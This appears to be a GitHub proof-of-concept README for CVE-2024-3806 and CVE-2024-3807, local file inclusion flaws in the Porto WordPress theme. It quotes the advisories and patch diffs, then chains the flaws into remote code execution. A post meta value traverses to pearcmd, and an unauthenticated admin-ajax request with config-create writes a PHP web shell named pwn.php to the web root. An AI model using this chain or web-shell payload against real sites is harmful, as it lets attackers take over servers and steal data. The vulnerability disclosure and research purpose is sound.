# CVE-2024-3806-AND-CVE-2024-3807-Poc
CVE-2024-3806: Porto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_posts
CVE-2024-3807: Porto <= 7.1.0 - Authenticated (Contributor+) Local File Inclusion via Post Meta
Porto 7.1.0: https://drive.google.com/file/d/1BWJ_xfjNetogvfMqKzXtAWEvRJOGa4DF/view?usp=sharing
Porto 7.1.1: https://drive.google.com/file/d/1AQrwMDVkbSIPWNfWhyR_ynJHW0dB9_21/view?usp=sharing
1. CVE-2024-3806: Porto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_posts: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/porto/porto-710-unauthenticated-local-file-inclusion-via-porto-ajax-posts
Description
The Porto theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 7.1.0 via the 'porto_ajax_posts' function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.
Diff function porto_ajax_posts
File: inc\functions\post.php
```
Old: $post_layout = isset( $_REQUEST['post_layout'] ) ? $_REQUEST['post_layout'] : null;
New: $post_layout = isset( $_REQUEST['post_layout'] ) ? sanitize_file_name( $_REQUEST['post_layout'] ) : null;
Old: get_template_part( 'content-blog', $post_layout );
New: get_template_part( 'content-blog', sanitize_file_name( $post_layout ) );
```
2. CVE-2024-3807: Porto <= 7.1.0 - Authenticated (Contributor+) Local File Inclusion via Post Meta: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/porto/porto-710-authenticated-contributor-local-file-inclusion-via-post-meta
Description
The Porto theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 7.1.0 via 'porto_page_header_shortcode_type', 'slideshow_type' and 'post_layout' post meta. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included. This was partially patched in version 7.1.0 and fully patched in version 7.1.1.
Diff File content-blog-full.php: $slideshow_type change to sanitize_file_name( $slideshow_type )
$slideshow_type = get_post_meta( get_the_ID(), 'slideshow_type', true ); => ````get_post_meta()` is used to get the value of a specific "slideshow_type" from a WordPress post.````
get_the_ID(): https://developer.wordpress.org/reference/functions/get_the_id/
3. CVE-2024-3806 + CVE-2024-3807 => RCE
File: inc\functions\post.php function porto_ajax_posts
I control variable ````$post_type = $_REQUEST['post_type']; ```` and ````$post_layout = isset( $_REQUEST['post_layout'] ) ? $_REQUEST['post_layout'] : null;````
I need $post_type value "post" and $post_layout value "full"
content-blog-full.php
File: inc\functions\general.php => function porto_get_template_part
Steps to Reproduce:
1. Create post with slideshow_type value: ```../../../../../../../../../usr/local/lib/php/pearcmd```
2. Send Request
No login required to access: ```<Host>/wp-admin/admin-ajax.php?action=porto_ajax_posts&post_type=post&post_layout=full&+config-create+/&/<?=`$_GET[0]`?>+/var/www/html/pwn.php```
or
No login required to access: ```<Host>/wp-admin/admin-ajax.php?action=porto_ajax_posts&post_type=post&post_layout=full&+config-create+/&/<?=`$_GET[0]`?>+/var/www/html/pwn.php&nonce={{porto_nonce}}```
Poc:
https://github.com/truonghuuphuc/CVE-2024-3806-AND-CVE-2024-3807-Poc/assets/20487674/687f9efd-59b8-4c69-ad12-106d23f175f2
登录后查看神龙缓存的 POC 文件快照
登录查看